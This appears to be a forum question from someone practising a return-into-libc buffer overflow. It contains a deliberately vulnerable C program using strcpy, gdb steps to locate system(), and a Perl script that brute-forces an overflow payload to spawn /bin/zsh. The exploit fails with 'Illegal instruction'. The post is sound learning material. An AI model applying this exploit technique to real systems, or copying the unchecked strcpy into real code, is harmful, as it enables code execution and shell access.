title: Return into libc - Illegal instruction
body: <p>I am messing around with buffer overflows, particularly the return into libc kind.</p>
  
  <p>I have the following vulnerable code:</p>
  
  <pre><code>#include&lt;stdio.h&gt;
  #include&lt;string.h&gt;
  
  main( int argc, char **argv)
  {
      char buffer[80];
      getchar();
      strcpy(buffer, argv[1]);
      return 1;
  }
  </code></pre>
  
  <p>I compiled it using gcc-2.95 (no <code>-fstack-protector</code>) with the <code>-mpreferred-stack-boundary=2</code> flag. I followed the return into libc chapter of <a href="http://www.dmi.unipg.it/~bista/didattica/sicurezza-pg/buffer-overrun/hacking-book/0x2b0-exploit-in-not-executable-stack.html" rel="nofollow noreferrer">"Hacking: The Art of Exploitation"</a>.</p>
  
  <p>First, I disabled ASLR:</p>
  
  <pre><code>$ cat /proc/sys/kernel/randomize_va_space 
  0
  </code></pre>
  
  <p>I found out the address of <code>system</code>:</p>
  
  <pre><code>$ cat find_system.c
  int main() {
      system("");
      return 0;
  }
  $ gdb -q find_system
  Reading symbols from /home/bob/return_to_libc/find_system...(no debugging symbols found)...done.
  (gdb) break main
  Breakpoint 1 at 0x8048416
  (gdb) run
  Starting program: /home/bob/return_to_libc/find_system 
  
  Breakpoint 1, 0x08048416 in main ()
  (gdb) p system
  $1 = {&lt;text variable, no debug info&gt;} 0xb7eb6680 &lt;system&gt;
  </code></pre>
  
  <p>I created an environment variable to contain the command I want to execute using <code>system</code>:</p>
  
  <pre><code>$ cat get_env.c
  #include &lt;stdio.h&gt;
  #include &lt;stdlib.h&gt;
  
  int main(int argc, char *argv[]) {
      printf("%s=%s: %p\n", argv[1], getenv(argv[1]), getenv(argv[1]));
      return 0;
  }
  $ export EXPLOIT=/bin/zsh
  $ ./get_env EXPLOIT
  EXPLOIT=/bin/zsh: 0xbffff96d
  </code></pre>
  
  <p>And then I made a perl script to automate getting the shell:</p>
  
  <pre><code>$ cat script.pl
  #!/usr/bin/perl
  
  for ($i = 1; $i &lt; 200; $i++) {
      print "Perl count: $i\n";
      system("echo 1 | ./vuln '" . "A"x$i . "\x80\x66\xeb\xb7FAKE\x6d\xf9\xff\xbf'");
  
  }
  $ ./script.pl
  (...)
  Perl count: 69
  Perl count: 70
  Perl count: 71
  Perl count: 72
  Illegal instruction
  Perl count: 73
  Segmentation fault
  Perl count: 74
  Segmentation fault
  (...)
  </code></pre>
  
  <p>Where did I go wrong? Why do I get "illegal instruction" instead of my shell?</p>